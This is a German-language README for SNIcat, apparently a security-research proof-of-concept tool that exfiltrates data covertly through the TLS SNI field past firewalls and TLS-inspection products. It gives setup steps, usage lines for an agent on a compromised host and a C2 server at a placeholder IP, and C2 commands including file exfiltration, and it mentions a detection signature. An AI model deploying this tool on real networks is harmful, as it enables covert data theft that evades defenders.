
SNIcat ist ein Proof-of-Concept-Werkzeug, das Datenexfiltration über eine verdeckte Kanalmethode mittels Server Name Indication, einer TLS-Client-Hello-Erweiterung, durchführt. Das Werkzeug besteht aus einem Agenten, der sich auf dem kompromittierten internen Host befindet, und einem Command&Control-Server, der den Agenten steuert und exfiltrierte Daten sammelt.
Die vollständige Geschichte hinter SNIcat finden Sie in unserem Blogbeitrag
SNIcat wurde auf macOS und einer Vielzahl von Linux-Distributionen getestet. Obwohl es leicht portiert werden kann, gibt es derzeit keine Windows-Version, da dies nur ein PoC-Werkzeug ist.
Die Exfiltrationsmethode funktioniert nicht mit expliziten Proxys, da bei der Verbindung über einen expliziten Proxy HTTP CONNECT und nicht TLS Client Hello verwendet wird.
SNIcat funktioniert möglicherweise nicht mit Produkten und Softwareversionen, die wir nicht getestet haben, aber das bedeutet nicht, dass die Produkte und/oder Softwareversionen nicht anfällig sind.

Wir haben eine neue heimliche Methode der Datenexfiltration entdeckt, die speziell Sicherheitsperimeterlösungen wie Web-Proxys, Next-Generation-Firewalls (NGFW) und dedizierte Lösungen für TLS-Interception und -Inspektion umgeht. Unsere Tests bestätigen, dass dies ein weit verbreitetes Problem ist, das verschiedene Arten von Sicherheitslösungen sowie Lösungen einer Vielzahl von Anbietern betrifft.
Wir haben unsere Technik erfolgreich gegen Produkte von Cisco, F5 Networks, Palo Alto Networks und Fortinet getestet und gehen davon aus, dass auch viele andere Anbieter anfällig sind.
Mit unserer Exfiltrationsmethode SNIcat haben wir festgestellt, dass wir eine Sicherheitsperimeterlösung umgehen können, die TLS-Inspektion durchführt, selbst wenn die von uns verwendete Command-&-Control-(C2-)Domäne durch übliche Reputations- und Bedrohungspräventionsfunktionen blockiert wird, die in die Sicherheitslösungen selbst integriert sind. Kurz gesagt, wir haben festgestellt, dass Lösungen, die zum Schutz von Benutzern entwickelt wurden, ihnen eine neue Sicherheitslücke eingeführt haben.
Wir haben auch eine Suricata-Signatur zur Erkennung dieses spezifischen Werkzeugs bereitgestellt.
Klonen Sie das Repository:
https://github.com/mnemonic-no/SNIcat.git
Installieren Sie Abhängigkeiten:
pip3 install -r requirements.txt --user
C2
Besorgen Sie ein Wildcard-Zertifikat und einen Schlüssel von einer öffentlich vertrauenswürdigen CA. Dies repräsentiert GOOD_CERT und GOOD_CERT_KEY.
Verwenden Sie ein selbstsigniertes Zertifikat und einen Schlüssel (nicht in einem Vertrauensspeicher) als BAD_CERT und BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agent
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Verfügbare C2-Befehle
LIST - alle Inhalte im aktuellen Ordner anzeigen
LS - nur Dateien im aktuellen Ordner anzeigen
SIZE - Größe der Dateien im aktuellen Ordner anzeigen
LD - alle Verzeichnisse im aktuellen Ordner anzeigen
CB - wechselt zum Wurzelverzeichnis - ähnlich wie 'cd .. '
CD <folder-id> - wechselt in den angegebenen Ordner
EX <file-id> - die angegebene Datei exfiltrieren
ALIVE - Status des Agenten überprüfen (aktiv/inaktiv)
EXIT - den C2-Server beenden